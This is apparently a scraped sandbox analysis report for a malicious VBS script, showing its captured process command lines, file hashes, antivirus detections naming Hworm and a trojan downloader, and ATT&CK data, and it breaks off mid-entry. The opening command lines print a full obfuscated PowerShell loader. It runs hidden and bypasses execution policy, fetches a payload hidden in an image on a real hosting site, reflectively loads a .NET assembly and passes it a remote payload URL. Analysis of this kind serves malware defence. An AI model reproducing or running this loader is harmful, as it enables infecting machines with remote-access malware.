#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#D#@$##@$#d#@$#By#@$#GU#@$#LwBs#@$#HQ#@$#Lw#@$#3#@$#DY#@$#MQ#@$#u#@$#DE#@$#Ng#@$#x#@$#C4#@$#Ng#@$#1#@$#DE#@$#Lg#@$#0#@$#Dk#@$#Lw#@$#v#@$#Do#@$#c#@$#B0#@$#HQ#@$#a#@$##@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C4#@$#SQBu#@$#HY#@$#bwBr#@$#GU#@$#K#@$##@$#k#@$#G4#@$#dQBs#@$#Gw#@$#L#@$##@$#g#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#KQ#@$#=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" (UID: 00000000-00008104) Spawned process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.90tre/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002120)5d:T1374,-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#D#@$##@$#d#@$#By#@$#GU#@$#LwBs#@$#HQ#@$#Lw#@$#3#@$#DY#@$#MQ#@$#u#@$#DE#@$#Ng#@$#x#@$#C4#@$#Ng#@$#1#@$#DE#@$#Lg#@$#0#@$#Dk#@$#Lw#@$#v#@$#Do#@$#c#@$#B0#@$#HQ#@$#a#@$##@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C4#@$#SQBu#@$#HY#@$#bwBr#@$#GU#@$#K#@$##@$#k#@$#G4#@$#dQBs#@$#Gw#@$#L#@$##@$#g#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#KQ#@$#=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791338877750,"unified_at":"2026-10-07T02:07:57.750Z","metadata":{"hashes":{"sha256":"60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","sha1":"99972dd7abcc92986851eb6c3e1f8880c4a2abc7","md5":"6b1d1a7455742408ac22e8d243998296","sha512":"e431200c723d5fa07ce838a0836076d0c43b0dc0ab6f203590c513c9c26ade0423b05d54dd17452477c1e0a3062fbd7b9b56dd659e0b9d5d8f4cb512901a3f48","ssdeep":"3072:Uzb+2cJ5UbLW+LSBCaiYLzsCODpqbmTt3fQ+KgYnHWiYunk:Uzb+2cJ5UWzsCODpqbmTt3fQ++ndnk","ssdeep_chunks":["3072:Uzb+2cJ","3072:zb+2cJ5","3072:b+2cJ5U","3072:+2cJ5Ub","3072:2cJ5UbL","3072:cJ5UbLW","3072:J5UbLW+","3072:5UbLW+L","3072:UbLW+LS","3072:bLW+LSB","3072:LW+LSBC","3072:W+LSBCa","3072:+LSBCai","3072:LSBCaiY","3072:SBCaiYL","3072:BCaiYLz","3072:CaiYLzs","3072:aiYLzsC","3072:iYLzsCO","3072:YLzsCOD","3072:LzsCODp","3072:zsCODpq","3072:sCODpqb","3072:CODpqbm","3072:ODpqbmT","3072:DpqbmTt","3072:pqbmTt3","3072:qbmTt3f","3072:bmTt3fQ","3072:mTt3fQ+","3072:Tt3fQ+K","3072:t3fQ+Kg","3072:3fQ+KgY","3072:fQ+KgYn","3072:Q+KgYnH","3072:+KgYnHW","3072:KgYnHWi","3072:gYnHWiY","3072:YnHWiYu","3072:nHWiYun","3072:HWiYunk","6144:Uzb+2cJ","6144:zb+2cJ5","6144:b+2cJ5U","6144:+2cJ5Ub","6144:2cJ5UbL","6144:cJ5UbLW","6144:J5UbLW+","6144:5UbLW+L","6144:UbLW+LS","6144:bLW+LSB","6144:LW+LSBC","6144:W+LSBCa","6144:+LSBCai","6144:LSBCaiY","6144:SBCaiYL","6144:BCaiYLz","6144:CaiYLzs","6144:aiYLzsC","6144:iYLzsCO","6144:YLzsCOD","6144:LzsCODp","6144:zsCODpq","6144:sCODpqb","6144:CODpqbm","6144:ODpqbmT","6144:DpqbmTt","6144:pqbmTt3","6144:qbmTt3f","6144:bmTt3fQ","6144:mTt3fQ+","6144:Tt3fQ+K","6144:t3fQ+Kg","6144:3fQ+KgY","6144:fQ+KgYn","6144:Q+KgYnH","6144:+KgYnHW","6144:KgYnHWi","6144:gYnHWiY","6144:YnHWiYu","6144:nHWiYun","6144:HWiYunk","3072:+2cJ5UW","3072:2cJ5UWz","3072:cJ5UWzs","3072:J5UWzsC","3072:5UWzsCO","3072:UWzsCOD","3072:WzsCODp","3072:Tt3fQ++","3072:t3fQ++n","3072:3fQ++nd","3072:fQ++ndn","3072:Q++ndnk"],"imphash":"Unknown"},"file_info":{"file_name":"EGK.vbs","file_type":["script","vbs"],"file_type_id":"vbs","file_size":258606,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1692062616000,"last_seen":1791338695000,"last_multi_scan":1791338695000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":9,"suspicious_count":0,"total_engines":33},"attributions":{"malware_families_count":2,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":77},"sandbox_signatures":{"informative_count":199,"suspicious_count":19,"malicious_count":4,"total":222},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/VBS.Obfuse","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/VBS.Obfuscated.JG","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.68727161","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.68727161 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"VBS/TrojanDownloader.Agent.YZX trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.Hworm.dmiour","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"VBS/Agent.BDD","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.VBS.Agent.BFK","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Script.Hworm","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically 